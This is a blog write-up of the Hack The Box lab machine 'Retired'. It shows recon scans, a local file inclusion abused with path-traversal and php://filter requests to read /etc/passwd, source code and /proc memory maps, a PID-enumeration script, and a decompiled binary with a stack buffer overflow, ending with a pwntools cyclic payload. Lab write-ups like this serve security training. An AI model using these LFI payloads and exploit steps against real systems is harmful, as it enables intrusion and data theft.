Writeup for the medium ranked HTB box Retired

Posted on Aug 26, 2022

Retired

Recon

First of all let’s see what information we can gather about this from the releas announcement on Twitter. Retired Well, prettymuch nothing. Sometimes there’s a hint in the description but at least I can’t figure it out. Let’s start the machine and see what we get.

Retired

So now we have an ip address for out target. Before I start to hammer it with evilness let’s take alook at the rating matrix.

Retired

LOL, that’s pretty much in the middle aswell so I go on knowing nothing more that it’s called retired and rated medium

Scanning

Scanning network with Nmap

Like always we start by scanning the target for open ports. Once again I take that good old Nmap for a spin down the recon lane.

[~]$ nmap -sC -sV -A 10.129.125.160

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-12 14:49 CEST
Nmap scan report for 10.129.125.160
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
|   256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
|_  256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
80/tcp open  http    nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.25 seconds

And like most of the times I find some open ports. There seems to be OpenSSH serving at port 22 and an Nginx server hosting av web site at port 80. Already at this stage we can see something interesting /index.php?page=default.html That parameter page can be fun to play with but let’s cover some ground work first.

Scanning http-server for content with DIRB

We have a web server so we better start scanning it for some juicy stuff.

[~]$ dirb http://10.129.125.160


-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Apr 12 17:46:43 2022
URL_BASE: http://10.129.125.160/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.129.125.160/ ----
==> DIRECTORY: http://10.129.125.160/assets/                                                                             
==> DIRECTORY: http://10.129.125.160/css/                                                                                
+ http://10.129.125.160/index.php (CODE:302|SIZE:0)                                                                      
==> DIRECTORY: http://10.129.125.160/js/                                                                                 
                                                                                                                         
---- Entering directory: http://10.129.125.160/assets/ ----
+ http://10.129.125.160/assets/favicon.ico (CODE:200|SIZE:23462)                                                         
==> DIRECTORY: http://10.129.125.160/assets/img/                                                                         
                                                                                                                         
---- Entering directory: http://10.129.125.160/css/ ----
                                                                                                                         
---- Entering directory: http://10.129.125.160/js/ ----
                                                                                                                         
---- Entering directory: http://10.129.125.160/assets/img/ ----
==> DIRECTORY: http://10.129.125.160/assets/img/about/                                                                   
==> DIRECTORY: http://10.129.125.160/assets/img/logos/                                                                   
==> DIRECTORY: http://10.129.125.160/assets/img/team/                                                                    
                                                                                                                         
---- Entering directory: http://10.129.125.160/assets/img/about/ ----
                                                                                                                         
---- Entering directory: http://10.129.125.160/assets/img/logos/ ----
                                                                                                                         
---- Entering directory: http://10.129.125.160/assets/img/team/ ----
                                                                                                                         
-----------------
END_TIME: Tue Apr 12 18:14:26 2022
DOWNLOADED: 36896 - FOUND: 2

I do not sit around and wait for dirb to be ready. I do poke around alot during this time but since text is a terrible medium for describing multitasking we can already say that we did not find anything that interesting.

Scanning the html manually using CURL and Firefox

If we fire it up in Firefox it looks like this:

Retired

And if I use CURL to grab the HTML we can see even more beauty:

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta name="description" content="" />
        <meta name="author" content="" />
        <title>Agency - Start Bootstrap Theme</title>
        <!-- Favicon-->
        <link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
        <!-- Font Awesome icons (free version)-->
        <script src="https://use.fontawesome.com/releases/v5.15.3/js/all.js" crossorigin="anonymous"></script>
        <!-- Google fonts-->
        <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css" />
        <link href="https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700" rel="stylesheet" type="text/css" />
        <!-- Core theme CSS (includes Bootstrap)-->
        <link href="css/styles.css" rel="stylesheet" />
    </head>
    <body id="page-top">
        <!-- Navigation-->
        <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav">
            <div class="container">
                <a class="navbar-brand" href="#page-top"><img src="assets/img/navbar-logo.svg" alt="..." /></a>
                <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
                    Menu
                    <i class="fas fa-bars ms-1"></i>
                </button>
                <div class="collapse navbar-collapse" id="navbarResponsive">
                    <ul class="navbar-nav text-uppercase ms-auto py-4 py-lg-0">
                        <li class="nav-item"><a class="nav-link" href="#services">Services</a></li>
                        <li class="nav-item"><a class="nav-link" href="#about">About</a></li>
                        <li class="nav-item"><a class="nav-link" href="#contact">Contact</a></li>
                    </ul>
                </div>
            </div>
        </nav>
        <!-- Masthead-->
        <header class="masthead">
            <div class="container">
                <div class="masthead-subheading">Welcome To Our Studio!</div>
                <div class="masthead-heading text-uppercase">It's Nice To Meet You</div>
                <a class="btn btn-primary btn-xl text-uppercase" href="#services">Tell Me More</a>
            </div>
        </header>
        <!-- Services-->
        <section class="page-section" id="services">
            <div class="container">
                <div class="text-center">
                    <h2 class="section-heading text-uppercase">Our Services</h2>
                </div>
                <div class="row text-center">
                    <div class="col-md-4">
                        <span class="fa-stack fa-4x">
                            <i class="fas fa-circle fa-stack-2x text-primary"></i>
                            <i class="fas fa-mobile-alt fa-stack-1x fa-inverse"></i>
                        </span>
                        <h4 class="my-3">OSTRICH</h4>
                        <p class="text-muted">The next-gen handheld gaming console.</p>
                    </div>
                    <div class="col-md-4">
                        <span class="fa-stack fa-4x">
                            <i class="fas fa-circle fa-stack-2x text-primary"></i>
                            <i class="fas fa-laptop fa-stack-1x fa-inverse"></i>
                        </span>
                        <h4 class="my-3">EMUEMU</h4>
                        <p class="text-muted">Coming soon: The official software emulator for OSTRICH roms.
                            We want to encourage a vibrant community and have made it our goal to provide an easily hackable software-only way to get started with the OSTRICH platform.
                            This emulator should satisfy all you customization and development needs.
                            (This is currently only open for beta testers who already purchased an OSTRICH)
                        </p>
                    </div>
                    <div class="col-md-4">
                        <span class="fa-stack fa-4x">
                            <i class="fas fa-circle fa-stack-2x text-primary"></i>
                            <i class="fas fa-lock fa-stack-1x fa-inverse"></i>
                        </span>
                        <h4 class="my-3">More to come soon</h4>
                        <p class="text-muted">Be sure to follow us to keep updated with upcoming news.</p>
                    </div>
                </div>
            </div>
        </section>
        <!-- About-->
        <section class="page-section" id="about">
            <div class="container">
                <div class="text-center">
                    <h2 class="section-heading text-uppercase">About</h2>
                    <h3 class="section-subheading text-muted">
                        We are a team of retired carpenters who now are finally able to do our hobby software developing fulltime.
                    </h3>
                </div>
            </div>
        </section>
        <!-- Contact-->
        <section class="page-section" id="contact">
            <div class="container">
                <div class="text-center">
                    <h2 class="section-heading text-uppercase">Contact Us</h2>
                    <h3 class="section-subheading text-muted">Lorem ipsum dolor sit amet consectetur.</h3>
                </div>
                <!-- * * * * * * * * * * * * * * *-->
                <!-- * * SB Forms Contact Form * *-->
                <!-- * * * * * * * * * * * * * * *-->
                <!-- This form is pre-integrated with SB Forms.-->
                <!-- To make this form functional, sign up at-->
                <!-- https://startbootstrap.com/solution/contact-forms-->
                <!-- to get an API token!-->
                <form id="contactForm" data-sb-form-api-token="API_TOKEN">
                    <div class="row align-items-stretch mb-5">
                        <div class="col-md-6">
                            <div class="form-group">
                                <!-- Name input-->
                                <input class="form-control" id="name" type="text" placeholder="Your Name *" data-sb-validations="required" />
                                <div class="invalid-feedback" data-sb-feedback="name:required">A name is required.</div>
                            </div>
                            <div class="form-group">
                                <!-- Email address input-->
                                <input class="form-control" id="email" type="email" placeholder="Your Email *" data-sb-validations="required,email" />
                                <div class="invalid-feedback" data-sb-feedback="email:required">An email is required.</div>
                                <div class="invalid-feedback" data-sb-feedback="email:email">Email is not valid.</div>
                            </div>
                            <div class="form-group mb-md-0">
                                <!-- Phone number input-->
                                <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" data-sb-validations="required" />
                                <div class="invalid-feedback" data-sb-feedback="phone:required">A phone number is required.</div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="form-group form-group-textarea mb-md-0">
                                <!-- Message input-->
                                <textarea class="form-control" id="message" placeholder="Your Message *" data-sb-validations="required"></textarea>
                                <div class="invalid-feedback" data-sb-feedback="message:required">A message is required.</div>
                            </div>
                        </div>
                    </div>
                    <!-- Submit success message-->
                    <!---->
                    <!-- This is what your users will see when the form-->
                    <!-- has successfully submitted-->
                    <div class="d-none" id="submitSuccessMessage">
                        <div class="text-center text-white mb-3">
                            <div class="fw-bolder">Form submission successful!</div>
                            To activate this form, sign up at
                            <br />
                            <a href="https://startbootstrap.com/solution/contact-forms">https://startbootstrap.com/solution/contact-forms</a>
                        </div>
                    </div>
                    <!-- Submit error message-->
                    <!---->
                    <!-- This is what your users will see when there is-->
                    <!-- an error submitting the form-->
                    <div class="d-none" id="submitErrorMessage"><div class="text-center text-danger mb-3">Error sending message!</div></div>
                    <!-- Submit Button-->
                    <div class="text-center"><button class="btn btn-primary btn-xl text-uppercase disabled" id="submitButton" type="submit">Send Message</button></div>
                </form>
            </div>
        </section>
        <!-- Footer-->
        <footer class="footer py-4">
            <div class="container">
                <div class="row align-items-center">
                    <div class="col-lg-4 text-lg-start">
                        <a href="https://startbootstrap.com/theme/agency">Agency Bootstrap Theme</a>
                        released under <a href="https://github.com/startbootstrap/startbootstrap-agency/blob/master/LICENSE">MIT License</a>
                    </div>
                    <div class="col-lg-4 my-3 my-lg-0">
                        <a class="btn btn-dark btn-social mx-2" href="#!"><i class="fab fa-twitter"></i></a>
                        <a class="btn btn-dark btn-social mx-2" href="#!"><i class="fab fa-facebook-f"></i></a>
                        <a class="btn btn-dark btn-social mx-2" href="#!"><i class="fab fa-linkedin-in"></i></a>
                    </div>
                    <div class="col-lg-4 text-lg-end">
                        <a class="link-dark text-decoration-none me-3" href="#!">Privacy Policy</a>
                        <a class="link-dark text-decoration-none" href="#!">Terms of Use</a>
                    </div>
                </div>
            </div>
        </footer>
        <!-- Bootstrap core JS-->
        <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
        <!-- Core theme JS-->
        <script src="js/scripts.js"></script>
        <!-- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *-->
        <!-- * *                               SB Forms JS                               * *-->
        <!-- * * Activate your form at https://startbootstrap.com/solution/contact-forms * *-->
        <!-- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *-->
        <script src="https://cdn.startbootstrap.com/sb-forms-latest.js"></script>
    </body>
</html>

Everything there is static and I decide to go on with automated scanning tools.

Scanning http-server for vulnerabilities with Nikto

The good old Nikto seldom finds any majors but it’s always a good thing to let it do its thing.

[~]$ nikto -h 10.129.125.160

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.129.125.160
+ Target Hostname:    10.129.125.160
+ Target Port:        80
+ Start Time:         2022-04-12 14:51:50 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: /index.php?page=default.html
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
+ 7918 requests: 3 error(s) and 4 item(s) reported on remote host
+ End Time:           2022-04-12 14:59:03 (GMT2) (433 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

And this time it turns out to be well invested time. That page parameter Nmap showed us shows up again and Nikto even says it’s vulnerable. Let’s try it out:

[~]$ curl http://10.129.125.160/index.php\?page\=../../../../../etc/passwd --path-as-is
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
vagrant:x:1000:1000::/vagrant:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dev:x:1001:1001::/home/dev:/bin/bash

Wholy macaroni and worse words. That’s looks pretty much like an LFI right there and we should be able to exfiltrate files from the system and maybe checkout source code or if it’s parsing what’s returned we can do log poisoning.Let’s start with some source code, maybe we can read the index.php?

[~]$ curl http://10.129.125.160/index.php\?page\=index.php                
<?php
function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
} else {
    header('Location: /index.php?page=default.html');
}

readfile($page);
?>

Yes we can, and it’s not interpreted and executed by the PHP server. That’s both good and bad. We wont be able to do any log poisoning or uploading web shells to other locations, but we can exfiltrate data.

At this point I tried looking around for the usual suspects like web server configuration files, php configuration files, databases, logs and so on. But I did not find anything interesting. Time to dig deeper.

Scanning for running processes using the LFI

You can scan for running processes using the /proc filesystem. It kind of depends on permissions how much we will be able to see. I created this small python script to brute force my way through the first 500 pid:s. Processes that we do not have permissions for and PID:s that do not exist will not show up. The script looks like this:

import requests

url =  'http://10.129.125.160/index.php'

for i in range(0,500):
    print(str(i) + '\r' ,end='')
    params = {'page': '/proc/' + str(i) + '/stat'}
    r = requests.get(url, allow_redirects=False, params=params)
    if r.text != '':
        print(r.text)

We can try and run it and then increase the range a bit if we do not find anything interesting.

[~/Desktop/retired]$ python3 enum.py
410 (activate_licens) S 1 410 410 0 -1 4194560 278 0 4 0 0 0 0 0 20 0 1 0 366 5181440 287 18446744073709551615 94133763883008 94133763885101 140727586012560 0 0 0 0 4096 0 0 0 0 17 1 0 0 0 0 0 94133763894456 94133763895312 94133780090880 140727586017021 140727586017052 140727586017052 140727586017246 0

That took some time but we found something here. A process called activate_licens with pid 410. Let’s use curl to find more information about the process. At this time I needed to use php-filters to encode the data before exfiltrating it. There seemed to be som characters in the stream that it did not like otherwise.

[~/Desktop/retired]$ curl http://10.129.125.160/index.php\?page\=php://filter/convert.base64-encode/resource\=/proc/410/cmdline | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    44    0    44    0     0    497      0 --:--:-- --:--:-- --:--:--   500
/usr/bin/activate_license1337%  

So the binary for the process is located under /usr/bin/. I soon realised that the 1337 is a parameter and the binary is called activate_license after some trial and error. Let us download the binar and dig in to it.

[~/Desktop/retired]$ curl http://10.129.125.160/index.php\?page\=/usr/bin/activate_license --output activate_license    
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 22536    0 22536    0     0   162k      0 --:--:-- --:--:-- --:--:--  161k
[~/Desktop/retired]$ file activate_licens
activate_licens: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped

Reverse engineering the binary

I started up Ghidra, created a new project and loaded the binary.

Ghidra

First of all I take a look at the main() function.


int main(int argc,char **argv)

{
  int iVar1;
  __pid_t _Var2;
  int *piVar3;
  char *pcVar4;
  char clientaddr_s [16];
  sockaddr_in clientaddr;
  socklen_t clientaddrlen;
  sockaddr_in server;
  uint16_t port;
  int clientfd;
  int serverfd;
  
  if (argc != 2) {
    error("specify port to bind to");
  }
  iVar1 = __isoc99_sscanf(argv[1],&DAT_00102100,&port);
  if (iVar1 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  printf("[+] starting server listening on port %d\n",(ulong)port);
  server.sin_family = 2;
  server.sin_addr = htonl(0x7f000001);
  server.sin_port = htons(port);
  serverfd = socket(2,1,6);
  if (serverfd == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  iVar1 = bind(serverfd,(sockaddr *)&server,0x10);
  if (iVar1 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  iVar1 = listen(serverfd,100);
  if (iVar1 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  puts("[+] listening ...");
  while( true ) {
    while( true ) {
      clientfd = accept(serverfd,(sockaddr *)&clientaddr,&clientaddrlen);
      if (clientfd != -1) break;
      fwrite("Error: accepting client\n",1,0x18,stderr);
    }
    inet_ntop(2,&clientaddr.sin_addr,clientaddr_s,0x10);
    printf("[+] accepted client connection from %s:%d\n",clientaddr_s,(ulong)clientaddr.sin_port);
    _Var2 = fork();
    if (_Var2 == 0) break;
    __sysv_signal(0x11,(__sighandler_t)0x1);
    close(clientfd);
  }
  close(serverfd);
  activate_license(clientfd);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

The program opens up a socket on a port that is sent as a parameter into the program. That’s probably the 1337 that we saw earlier. It’s binding to the local 127.0.0.1 address:

server.sin_addr = htonl(0x7f000001);

When the socket receives an incoming connection the process forks so that every connection is handled in it’s own process.

After the fork another function activate_license() is called to further handle the connection. It looks like this:

void activate_license(int sockfd)

{
  int iVar1;
  ssize_t sVar2;
  int *piVar3;
  char *pcVar4;
  sqlite3_stmt *stmt;
  sqlite3 *db;
  uint32_t msglen;
  char buffer [512];
  
  sVar2 = read(sockfd,&msglen,4);
  if (sVar2 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  msglen = ntohl(msglen);
  printf("[+] reading %d bytes\n",(ulong)msglen);
  sVar2 = read(sockfd,buffer,(ulong)msglen);
  if (sVar2 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  iVar1 = sqlite3_open("license.sqlite",&db);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  sqlite3_busy_timeout(db,2000);
  iVar1 = sqlite3_exec(db,
                       "CREATE TABLE IF NOT EXISTS license (   id INTEGER PRIMARY KEY AUTOINCREMENT,    license_key TEXT)"
                       ,0,0,0);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_prepare_v2(db,"INSERT INTO license (license_key) VALUES (?)",0xffffffff,&stmt,0);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_bind_text(stmt,1,buffer,0x200,0);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_step(stmt);
  if (iVar1 != 0x65) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_reset(stmt);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_finalize(stmt);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_close(db);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  printf("[+] activated license: %s\n",buffer);
  return;
}

So there’s a lot of sqlite3 functions there and after some googling I gave up on the idea of trying to exploit that. And the databases content does not look that interesting either.

So now I started looking for bugs. Pretty soon I found this:

char buffer [512];

The buffer is 512 bytes long and it’s located on the stack. First of all the amount of bytes to read is read as a 32 bit integer from the socket into the variable msglen.

  sVar2 = read(sockfd,&msglen,4);

And then the the amount of bytes given by msglen is read into the buffer.

  sVar2 = read(sockfd,buffer,(ulong)msglen);

If we can send bytes to that socket we have full control of msglen and we should be able to overflow the buffer. By doing that we can take control of the $rip register and the program flow. We need to find out a few more things before attempting to exploit this bug. First of all, what countermeasures are active:

[~/Desktop/retired]$ checksec activate_licens
[*] '/home/f1rstr3am/Desktop/retired/activate_licens'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Hmm, almost everything is enabled but Canaries. Ok we do not need to worry about that then but Im 99.999999999999999999999% sure that ASLR is enabled aswell?

[~/Desktop/retired]$ curl http://10.129.125.160/index.php\?page\=/proc/sys/kernel/randomize_va_space                     
2

Yes it is. There’s some printf() and stuff in the program but I could not see any bugs and even if there had been I would not be able to see the output since it’s going to stdio and not the socket.

Is there another way to leak some important adresses? Yes there is thorough our LFI. Let’s see if we can map out the process:

[~/Desktop/retired]$ curl http://10.129.125.160/index.php\?page\=/proc/410/maps                                          
559d398eb000-559d398ec000 r--p 00000000 08:01 2408                       /usr/bin/activate_license
559d398ec000-559d398ed000 r-xp 00001000 08:01 2408                       /usr/bin/activate_license
559d398ed000-559d398ee000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
559d398ee000-559d398ef000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
559d398ef000-559d398f0000 rw-p 00003000 08:01 2408                       /usr/bin/activate_license
559d3a861000-559d3a882000 rw-p 00000000 00:00 0                          [heap]
7fcc99a1b000-7fcc99a1d000 rw-p 00000000 00:00 0 
7fcc99a1d000-7fcc99a1e000 r--p 00000000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7fcc99a1e000-7fcc99a20000 r-xp 00001000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7fcc99a20000-7fcc99a21000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7fcc99a21000-7fcc99a22000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7fcc99a22000-7fcc99a23000 rw-p 00004000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7fcc99a23000-7fcc99a2a000 r--p 00000000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7fcc99a2a000-7fcc99a3a000 r-xp 00007000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7fcc99a3a000-7fcc99a3f000 r--p 00017000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7fcc99a3f000-7fcc99a40000 r--p 0001b000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7fcc99a40000-7fcc99a41000 rw-p 0001c000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7fcc99a41000-7fcc99a45000 rw-p 00000000 00:00 0 
7fcc99a45000-7fcc99a54000 r--p 00000000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7fcc99a54000-7fcc99aee000 r-xp 0000f000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7fcc99aee000-7fcc99b87000 r--p 000a9000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7fcc99b87000-7fcc99b88000 r--p 00141000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7fcc99b88000-7fcc99b89000 rw-p 00142000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7fcc99b89000-7fcc99bae000 r--p 00000000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fcc99bae000-7fcc99cf9000 r-xp 00025000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fcc99cf9000-7fcc99d43000 r--p 00170000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fcc99d43000-7fcc99d44000 ---p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fcc99d44000-7fcc99d47000 r--p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fcc99d47000-7fcc99d4a000 rw-p 001bd000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7fcc99d4a000-7fcc99d4e000 rw-p 00000000 00:00 0 
7fcc99d4e000-7fcc99d5e000 r--p 00000000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fcc99d5e000-7fcc99e56000 r-xp 00010000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fcc99e56000-7fcc99e8a000 r--p 00108000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fcc99e8a000-7fcc99e8e000 r--p 0013b000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fcc99e8e000-7fcc99e91000 rw-p 0013f000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fcc99e91000-7fcc99e93000 rw-p 00000000 00:00 0 
7fcc99e98000-7fcc99e99000 r--p 00000000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fcc99e99000-7fcc99eb9000 r-xp 00001000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fcc99eb9000-7fcc99ec1000 r--p 00021000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fcc99ec2000-7fcc99ec3000 r--p 00029000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fcc99ec3000-7fcc99ec4000 rw-p 0002a000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7fcc99ec4000-7fcc99ec5000 rw-p 00000000 00:00 0 
7ffdb1c44000-7ffdb1c65000 rw-p 00000000 00:00 0                          [stack]
7ffdb1c9f000-7ffdb1ca3000 r--p 00000000 00:00 0                          [vvar]
7ffdb1ca3000-7ffdb1ca5000 r-xp 00000000 00:00 0                          [vdso]

Yes we get all kinds of juicy information here. Base addresses of the binary, libc and the stack. We should be able to exploit the binary using this information. Let’s download the used libc from the target.

[~/Desktop/retired]$ curl http://10.129.125.160/index.php\?page\=/usr/lib/x86_64-linux-gnu/libc-2.31.so --output libc-2.31.so
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1796k    0 1796k    0     0  3368k      0 --:--:-- --:--:-- --:--:-- 3370k

Last thing before I start working on the binary. How the hell am I going to connect to it’s socket? It’s obviously only visible from the inside but there should be something that calls it internaly and perhaps we can use that?

At this point I went back to fuzzing the site but no matter what dictionaries and tools I used I could not find anythng. So I started guessing and one guess was that there was a web page that communicating with activate_license so a good guess would be activate_license.php.

[~/Desktop/retired]$ curl http://10.129.125.160/index.php\?page\=/var/www/html/activate_license.php                      
<?php
if(isset($_FILES['licensefile'])) {
    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);
    $license_size = $_FILES['licensefile']['size'];

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!$socket) { echo "error socket_create()\n"; }

    if (!socket_connect($socket, '127.0.0.1', 1337)) {
        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
    }

    socket_write($socket, pack("N", $license_size));
    socket_write($socket, $license);

    socket_shutdown($socket);
    socket_close($socket);
}
?>

And there it was. This page let’s you upload a file that then i sent socket. The code also seems to calculate the size and send that 32 bit integer automatically. About time that I start to write some exploit code and gain some access to the system.

Gaining Access

Finding the buffer overflow

We could see that there was a buffer overflow in theory so first thing is to see that it’s really there and at what offset should put our ROP-chain. Let’s write a small python script to deliver a cyclic payload direct to the binary running on our local computer.

from pwn import *

r = remote('127.0.0.1', 1337)

payload = cyclic(600)
payload = struct.pack('>I', len(payload) ) + payload

r.send(payload)

